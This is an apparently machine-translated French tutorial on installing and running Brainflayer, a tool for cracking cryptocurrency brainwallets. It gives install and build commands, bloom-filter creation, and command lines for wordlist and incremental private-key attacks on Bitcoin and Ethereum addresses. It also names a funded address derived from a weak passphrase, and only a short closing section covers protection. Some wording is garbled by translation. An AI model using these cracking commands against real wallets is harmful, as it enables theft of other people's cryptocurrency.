Brainflayer
est un outil de craquage de brainwallet Proof-of-Concept qui utilise libsecp256k1 pour générer pubkey. Il a été initialement publié dans le cadre d’un discours de DEFCON sur le craquage des portefeuilles cérébraux. La vidéo publiée est disponible à la fin de l’article.
De nombreux chercheurs ont remarqué que les utilisateurs de crypto-monnaie utilisent des clés privées devinables pour stocker leur bitcoin et leur éthereum. Brainflayer peut surveiller des milliers de clés privées en quelques secondes. Si vous connaissez la clé privée, vous possédez tous les bitcoins et Ethereum qu’elle contient.
Les pirates de la blockchain utilisent ces méthodes et ont volé plus de 50 millions de dollars à Ethereum.
Qu’est-ce qu’une clé privée?
Une clé privée dans le contexte de Bitcoin ou Ethereum est un numéro secret qui vous permet de dépenser des crypto-monnaies. Chaque crypto-portefeuille contient une ou plusieurs clés privées, qui sont enregistrées dans le fichier de portefeuille. Les adresses cryptographiques sont dérivées mathématiquement de clés privées.
Puisque la clé privée est le « ticket » qui permet à quelqu’un de dépenser des bitcoins, il est important qu’ils soient gardés secrets et sécurisés. Les clés privées peuvent être stockées sur des fichiers informatiques, mais elles sont souvent également écrites sur papier.
Une clé privée bitcoin est un nombre de 256 bits. Un exemple en hexadécimal est le suivant:
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
À partir de la clé privée ci-dessus, les adresses publiques suivantes sont dérivées mathématiquement:
16ga2uqnF1NqpAuQeeg7sTCAdtDUwDyJav #The address seems to have been used lately at 2019-03-13
16qVRutZ7rZuPx7NMtapvZorWYjyaME2Ue
Si vous êtes plus intéressé par les mathématiques derrière le bitcoin, consultez l’article de hackernoon sur la cryptographie à courbe elliptique.
Les clés privées elles-mêmes ne sont presque jamais gérées par l’utilisateur, au lieu de cela, l’utilisateur reçoit généralement une phrase de départ qui code les mêmes informations que les clés privées.
Qu’est-ce qu’un Brainwallet?
Un portefeuille cérébral est un portefeuille standard dans lequel la clé privée et les adresses publiques associées sont créées à partir d’une phrase de passe hachée. L’algorithme SHA-256 est régulièrement utilisé par les brainwallets car il produit une chaîne de 256 bits qui correspond à la taille exacte de la clé privée bitcoin.

Dans le générateur de brainwallet ci-dessus, le mot «mot de passe» est utilisé comme phrase secrète. Il a déjà été dit que l’adresse bitcoin: 16ga2uqnF1NqpAuQeeg7sTCAdtDUwDyJav
il est utilisé récemment et a reçu 0,356 BTC au total.

Il va sans dire que vous n’avez pas à utiliser de portefeuilles cérébraux avec des phrases de départ générées par l’homme.
Bruteforce peut déchiffrer même les phrases de passe générées par l’homme les plus difficiles.
Liste des portefeuilles cérébraux les plus connus:
Comment installer Brainflayer
Les commandes suivantes peuvent être utilisées pour installer brainflayer et les dépendances requises sur Kali ou Ubuntu.
#apt-get install git #git clone https://github.com/ryancdotorg/brainflayer.git #apt-get install openssl #apt-get install libgmp3-dev #apt-get install libimobiledevice-dev libplist-dev libusbmuxd-dev libssl-dev zlib1g-dev #apt-get install dh-autoreconf #cd brainflayer/ #make
Compilez la gestion des erreurs
De nombreuses personnes sont dérangées par les erreurs de compilation. Les changements suivants sur Makefile
fichier aidera à surmonter les erreurs.
change : LIBS = -lssl -lrt -lcrypto -lz -lgmp to : LIBS = -lssl -lrt -lcrypto -lz -lgmp -lpthread and remove all "-static" like : $(COMPILE) -static $^ $(LIBS) -o $@ to $(COMPILE) $^ $(LIBS) -o $@
L’homme de Brainflayer
Lorsque tout est compilé, marquez -h
pour lister les options d’exécution disponibles.
root@lab:/# brainflayer -h Usage: brainflayer [OPTION]... -a open output file in append mode -b FILE check for matches against bloom filter FILE -f FILE verify matches against sorted hash160s in FILE -i FILE read from FILE instead of stdin -o FILE write to FILE instead of stdout -c TYPES use TYPES for public key to hash160 computation multiple can be specified, for example the default is 'uc', which will check for both uncompressed and compressed addresses using Bitcoin s algorithm u - uncompressed address c - compressed address e - ethereum address x - most signifigant bits of x coordinate -t TYPE inputs are TYPE - supported types: sha256 (default) - classic brainwallet sha3 - sha3-256 priv - raw private keys (requires -x) warp - WarpWallet (supports -s or -p) bwio - brainwallet.io (supports -s or -p) bv2 - brainv2 (supports -s or -p) VERY SLOW rush - rushwallet (requires -r) FAST keccak - keccak256 (ethercamp/old ethaddress) camp2 - keccak256 * 2031 (new ethercamp) -x treat input as hex encoded -s SALT use SALT for salted input types (default: none) -p PASSPHRASE use PASSPHRASE for salted input types, inputs will be treated as salts -r FRAGMENT use FRAGMENT for cracking rushwallet passphrase -I HEXPRIVKEY incremental private key cracking mode, starting at HEXPRIVKEY (supports -n) FAST -k K skip the first K lines of input -n K/N use only the Kth of every N input lines -B batch size for affine transformations must be a power of 2 (default/max: 4096) -w WINDOW_SIZE window size for ecmult table (default: 16) uses about 3 * 2^w KiB memory on startup, but only about 2^w KiB once the table is built -m FILE load ecmult table from FILE the ecmtabgen tool can build such a table -v verbose - display cracking progress -h show this help
Créer le filtre Bloom
Selon Wikipedia, bloom filter
est une structure de données probabiliste efficace d’espace qui est utilisée pour vérifier si un élément existe dans un ensemble. Les correspondances avec des faux positifs sont possibles, mais pas des faux négatifs. Dans notre cas, il y a très peu de chances que brainflayer renvoie un portefeuille cassé qui n’est pas réellement cassé.
L’étape suivante consiste à créer le filtre de floraison. Un fichier est requis qui répertorie une adresse bitcoin par ligne. Par conséquent, les adresses doivent être converties en adresses Hash160. Enfin, exécutez la commande suivante:
$hex2blf btcaddress.hex btcaddress.blf
Pour créer le filtre de floraison Ethereum, la conversion de hash160 n’est pas requise.
Crack Bitcoin via Wordlist
Une fois le filtre de floraison créé, tout est prêt pour la force brute. Prenez votre plus longue liste de mots et attaquez! Les commandes suivantes sont les plus courantes:
$brainflayer -v -b btc.blf -i wordlist.txt $brainflayer -t sha3 -v -b btc.blf -i wordlist.txt $brainflayer -t bwio -v -b btc.blf -i wordlist.txt
La sha256
l’algorithme est l’option par défaut.
Crack Ethereum via Wordlist
De même, les options de craquage les plus courantes pour Ethereum sont les suivantes:
$brainflayer -t sha3 -c e -v -b eth.blf -i wordlist.txt $brainflayer -t keccak -c e -v -b eth.blf -i wordlist.txt $brainflayer -t sha256 -c e -v -b eth.blf -i wordlist.txt
Fissuration parallèle
Brainflayer ne prend pas en charge la fonctionnalité multi-thread. Pour le craquage parallèle, vous devez exécuter plusieurs instances avec -n
paramètre.
$brainflayer -v -n 1/3 -b btc.blf -i password.txt $brainflayer -v -n 2/3 -b btc.blf -i password.txt $brainflayer -v -n 3/3 -b btc.blf -i password.txt
Scanner de clé privée
Brainflayer prend en charge le craquage via des clés privées incrémentielles avec option -I
. Cette méthode est extrêmement rapide. Un seul cœur moderne peut analyser plus de 700 000 clés privées par seconde.
$brainflayer -c e -v -b eth.blf -I 0000000000000000000000000000000000000000000000000000000000000001
Brainflayer Def avec vidéo
Si vous n’êtes toujours pas satisfait, consultez pour plus d’informations sur def avec vidéo.
Brainflayer et Windows 10
En bref, brainflayer est un outil conçu pour le système d’exploitation Linux. Il est possible d’exécuter brainflayer sous Windows avec WSL-Kali Linux. Si vous souhaitez savoir comment installer et configurer WSL-Kali sous Windows, cliquez ici.
Le processus d’installation de Brainflayer sur WSL-Kali est similaire à Kali normal.
Comment protéger votre portefeuille cérébral
Le moyen le plus simple de vous protéger est de ne pas utiliser de digues. Dans le cas où vous souhaitez toujours en utiliser un, vous devez utiliser une graine non humaine, grande et complexe, générée aléatoirement comme entrée. En outre, vous devez vous assurer que le brainwallet est digne de confiance et utilise les meilleurs algorithmes de hachage (SHA256, SHA512, etc.) plusieurs fois pour hacher votre graine.
Last but not least, users must never create or use a non-random bitcoin private key.